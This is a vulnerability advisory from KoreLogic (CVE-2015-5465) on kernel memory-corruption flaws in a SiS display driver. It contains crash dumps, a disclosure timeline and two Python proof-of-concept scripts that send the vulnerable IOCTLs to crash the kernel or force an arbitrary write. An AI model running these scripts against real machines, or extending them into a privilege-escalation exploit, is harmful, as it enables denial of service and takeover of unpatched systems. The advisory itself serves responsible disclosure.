KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege
Escalation
Title: SiS Windows VGA Display Manager Multiple Privilege Escalation
Advisory ID: KL-001-2015-003
Publication Date: 2015.09.01
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-003.txt
1. Vulnerability Details
Affected Vendor: Silicon Integrated Systems Corporation
Affected Product: Windows VGA Display Manager
Affected Version: 6.14.10.3930
Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
CWE Classification: CWE-123: Write-what-where condition
Impact: Arbitrary Code Execution
Attack vector: IOCTL
CVE-ID: CVE-2015-5465
2. Vulnerability Description
Vulnerabilities within the srvkp module allows an attacker
to inject memory they control into an arbitrary location
they define or cause memory corruption. IOCTL request codes
0x96002400 and 0x96002404 have been demonstrated to trigger
these vulnerabilities. These vulnerabilities can be used
to obtain control of code flow in a privileged process and
ultimately be used to escalate the privilege of an attacker.
3. Technical Description
Example against Windows XP:
Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86
compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 2600.xpsp_sp3_qfe.101209-1646
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
************************************************************************
*******
*
*
* Bugcheck Analysis
*
*
*
************************************************************************
*******
Use !analyze -v to get detailed debugging information.
BugCheck 50, {ffff0000, 1, 804f3b76, 0}
Probably caused by : srvkp.sys ( srvkp+3329 )
Followup: MachineOwner
---------
kd> kn
Call stack: # ChildEBP RetAddr
00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b
01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7
02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc
03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92
04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3
05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5
06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b
08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8
09 f6a52c34 804ee129 srvkp+0x3329
0a f6a52c44 80574e56 nt!IopfCallDriver+0x31
0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70
0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7
0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8
0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
15 0021f6c0 1e07bd9c _ctypes+0x54d8
16 00000000 00000000 python27!PyObject_Call+0x4c
Example against Windows 7:
Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86
Copyright (c) Microsoft Corporation. All rights reserved.
Loading Dump File [C:\Windows\MEMORY.DMP]
Kernel Summary Dump File: Only kernel address space is available
Symbol search path is: *** Invalid ***
************************************************************************
****
* Symbol loading may be unreliable without a symbol search path.
*
* Use .symfix to have the debugger choose a symbol path.
*
* After setting your symbol path, use .reload to refresh symbol
locations. *
************************************************************************
****
Executable search path is:
*******************************************************************
**
* Symbols can not be loaded because symbol path is not initialized.
*
*
*
* The Symbol Path can be set by:
*
* using the _NT_SYMBOL_PATH environment variable.
*
* using the -y <symbol_path> argument when starting the debugger.
*
* using .sympath and .sympath+
*
*******************************************************************
**
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for ntkrpamp.exe -
Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatib
le
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
Machine Name:
Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850
Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00)
System Uptime: 0 days 11:46:55.313
*******************************************************************
**
* Symbols can not be loaded because symbol path is not initialized.
*
*
*
* The Symbol Path can be set by:
*
* using the _NT_SYMBOL_PATH environment variable.
*
* using the -y <symbol_path> argument when starting the debugger.
*
* using .sympath and .sympath+
*
*******************************************************************
**
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for ntkrpamp.exe -
Loading Kernel Symbols
...............................................................
................................................................
.....................................
Loading User Symbols
PEB is paged out (Peb.Ldr = 7ffd400c). Type ".hh dbgerr001" for
details
Loading unloaded module list
..............................
************************************************************************
*******
*
*
* Bugcheck Analysis
*
*
*
************************************************************************
*******
Use !analyze -v to get detailed debugging information.
BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0}
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
...
...
...
Followup: MachineOwner
---------
kd> .symfix;.reload
Loading Kernel Symbols
...............................................................
................................................................
.....................................
Loading User Symbols
PEB is paged out (Peb.Ldr = 7ffd400c). Type ".hh dbgerr001" for
details
Loading unloaded module list
..............................
kd> !analyze -v
************************************************************************
*******
*
*
* Bugcheck Analysis
*
*
*
************************************************************************
*******
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck. Usually the exception address
pinpoints
the driver/function that caused the problem. Always note this
address
as well as the link date of the driver/image that contains this
address.
Some common problems are exception code 0x80000003. This means a
hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should
never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint
is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: ac08f2fa, The address that the exception occurred at
Arg3: 93df4a50, Trap Frame
Arg4: 00000000
Debugging Details:
------------------
*** ERROR: Module load completed but symbols could not be loaded
for srvkp.sys
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at
0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
FAULTING_IP:
srvkp+32fa
ac08f2fa 8b4804 mov ecx,dword ptr [eax+4]
TRAP_FRAME: 93df4a50 -- (.trap 0xffffffff93df4a50)
ErrCode = 00000000
eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140
edi=d68fc588
eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0 nv up ei pl
zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000
efl=00010246
srvkp+0x32fa:
ac08f2fa 8b4804 mov ecx,dword ptr [eax+4]
ds:0023:00000004=????????
Resetting default scope
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x8E
PROCESS_NAME: python.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 82ac708c to 82af0f20
STACK_TEXT:
93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e
93df49e0 82a50dd6 93df49fc 00000000 93df4a50
nt!KiDispatchException+0x1ac
93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00
nt!CommonDispatchException+0x4a
93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x1
92
93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63
93df4b34 82c40b71 85644140 d68fc588 00000000
nt!IopSynchronousServiceTail+0x1f8
93df4bd0 82c873f4 85644140 869fb048 00000000
nt!IopXxxControlFile+0x6aa
93df4c04 82a501ea 00000088 00000000 00000000
nt!NtDeviceIoControlFile+0x2a
93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x1
2a
WARNING: Frame IP not in any known module. Following frames may
be wrong.
0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4
STACK_COMMAND: kb
FOLLOWUP_IP:
srvkp+32fa
ac08f2fa 8b4804 mov ecx,dword ptr [eax+4]
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: srvkp+32fa
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: srvkp
IMAGE_NAME: srvkp.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4cc65532
FAILURE_BUCKET_ID: 0x8E_srvkp+32fa
BUCKET_ID: 0x8E_srvkp+32fa
Followup: MachineOwner
---------
4. Mitigation and Remediation Recommendation
No response from vendor; no remediation available.
5. Credit
This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.
6. Disclosure Timeline
2015.05.14 - Initial contact; requested security contact.
2015.05.18 - Second contact attempt.
2015.05.25 - Third contact attempt.
2015.07.02 - KoreLogic requests CVE from Mitre.
2015.07.10 - Mitre issues CVE-2015-5465.
2015.07.28 - 45 business days have elapsed since KoreLogic last
attempted to contact SiS without a response.
2015.09.01 - Public disclosure.
7. Proof of Concept
# Arbitrary Write (Windows XP)
from sys import exit
from ctypes import *
NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
WriteProcessMemory = windll.kernel32.WriteProcessMemory
DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
OPEN_EXISTING = 3
NULL = None
device = "siskp"
code = 0x96002404
inlen = 0xe6b6
outlen = 0x0
inbuf = 0x1
outbuf = 0xffff0000
inBufMem = "\x90"*inlen
def main():
try:
handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[-] error creating handle"
exit(1)
except Exception as e:
print "[-] error creating handle"
exit(1)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x
1000|0x2000,0x40)
WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))
DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,o
utbuf,outlen)
CloseHandle(handle)
return False
if __name__=="__main__":
main()
and
# Null Pointer Dereference (Windows XP/7)
from sys import exit
from ctypes import *
DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
OPEN_EXISTING = 3
NULL = None
device = "siskp"
code = 0x96002400
def main():
try:
handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[-] error creating handle"
exit(1)
except Exception as e:
print "[-] error creating handle"
exit(1)
DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0
,0x0)
CloseHandle(handle)
return False
if __name__=="__main__":
main()
The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
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proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v1.0.txt
